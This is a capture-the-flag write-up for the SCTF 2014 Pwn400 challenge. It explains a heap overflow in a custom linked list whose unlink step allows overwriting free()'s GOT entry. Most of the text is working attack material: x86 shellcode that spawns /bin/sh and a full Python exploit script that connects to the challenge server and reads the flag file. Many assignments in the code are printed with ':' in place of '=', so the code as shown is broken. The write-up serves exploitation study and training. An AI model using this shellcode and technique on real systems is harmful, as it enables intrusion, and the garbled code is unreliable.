Author • Eno Leriand

SCTF 2014 - Pwn400

  • SCTF CTF
  • pwn400

Similar with Pwn200, Pwn400 gave us a binary file, but no libc.so. Open it with IDA Pro and analyze it, we found some information:

First, there's a data structure ( let's call it node ) which look like this:

struct node{
node *this; // the address of this node
node *prev; // the address of the previous node
node *next; // the address of the next node
char title[64];
char type[32];
char content[256];
};

In this program, we're allow to:

  1. New a node
  2. Show a node's address ( yep, no need to leak it! )
  3. Edit a node's content
  4. Delete a node (by giving its address)

Notice that we can ovewrite a node's data by overflowing its previous node's content. Moreover, after checking the function of deleting a node, we found the following code:

if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(_DWORD *)a1 : *(_DWORD *)(*(_DWORD *)a1 + 8);
}
else
{
if ( *(_DWORD *)(ptr + 8) )
{
/* the unlink vulnerability */
v1 : *(_DWORD *)(ptr + 8);
v2 : *(_DWORD *)(ptr + 4);
*(_DWORD *)(v2 + 8) : v1;
*(_DWORD *)(v1 + 4) : v2;
}
else
{
*(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) : 0;
}
}
write(1, "succeed!\n\n", 0xAu);
free((void *)ptr);
}

The vulnerability's obvious: Heap overflow, except it use its own data structure.

Since it doesn't enable the DEP protection, we can store our shellcode in a known memory address (which is, in this case, a node's content), then exploit the heap overflow vulnerability, by overwriting free()'s GOT, let the function pointer point to our shellcode.

For instance:

//free's GOT entry: 0x0804a450
v1 = node->next // 0x0804a44c, because 0x0804a44c+4 : 0x0804a450
v2 : node->prev // shellcode's address
*(_DWORD *)(shellcode's address + 8) : 0x0804a44c ; //4 bytes of shellcode will be overwritten
*(_DWORD *)(0x0804a450) : shellcode's address; // overwrite free()'s GOT

Note that 4 bytes in shellcode will be overwritten, so we'll have to use jmp relative to skip those 4 bytes machine code. Here's my shellcode:

"\x90\x90\x90\x90\x90\x90"+ # NOP
"\xeb\x08"+ # skip 8 bytes
"AAAA"+ # overwritten part
"\x90"*10+ # NOP
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" # shell

So here's the exploitation:

  1. New 3 nodes: node1, node2 & node3
  2. Store the shellcode in node3's content
  3. Get the address of node3 & node2, calculate the shellcode's address
  4. Edit node1, overwrite node2's prev & next by overflowing node1's content
  5. Delete node2, overwrite free()'s GOT, execute the shellcode & capture the flag

Here's the python script. Due to the connection problem, it has to wait 1 second before it recieve server's response.

from socket import *
import time
import binascii
sock : socket(AF_INET, SOCK_STREAM)
sock.connect(("218.2.197.248", 10003))
shell : "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
print sock.recv(1024)
#insert node1
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
#insert node2
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
#insert node3
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send(shell+"\n") #write shellcode to node3's content
time.sleep(1)
print sock.recv(1024)
#show node 3 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
res : sock.recv(1024)
print res
#calculate shellcode's address
index : res.index("0x")
temp : res[index:index+10:]
shellcode_addr : int(temp, 16)+108
print "shellcode address: ", hex(shellcode_addr)
shellcode_addr_str : binascii.a2b_hex(hex(shellcode_addr)[2:10:].zfill(8))
print shellcode_addr_str
#show node 2 address
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
res : sock.recv(1024)
print res
index : res.index("0x")
temp : res[index:index+10:]
address : int(temp, 16)
del_addr : hex(address)[2::]
print "node2 address:", del_addr
node2_addr_str : binascii.a2b_hex(hex(address)[2:10:].zfill(8))
print node2_addr_str
#BBBB: offset
#free()'s GOT: 0x0804a450, we send 0x0804a44c
exploit : "A"*256+"BBBB"+node2_addr_str[::-1]+shellcode_addr_str[::-1]+"\x4c\xa4\x04\x08"
#edit node 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n") #overflow node1's content
time.sleep(1)
print sock.recv(1024)
#delete node 2
sock.send("5\n")
time.sleep(1)
print sock.recv(1024)
sock.send(del_addr+"\n")
time.sleep(1)
print sock.recv(1024)
sock.send('cat /home/pwn3/flag/flag\n') #capture the flag
time.sleep(1)
print sock.recv(1024)
sock.close()

The "BBBB" in the exploit is a 4 bytes data between each node. It actually is the meta data of a chunk. The free() function will check the meta data before it free the memory of a node. If the meta data isn't correct, the program will crash. But since we overwrite free()'s GOT, that meta data's no longer a problem.

flag: SCTF{2318540E78446A0E84EF69685092F0C3}

How am I doing?

Hey! Lemme know if you found this helpful by leaving a reaction.

  • x0
  • x0
  • x0
  • x0
  • x0
  • x0
  • x0
Loading

Built with Gatsby ^5.0.0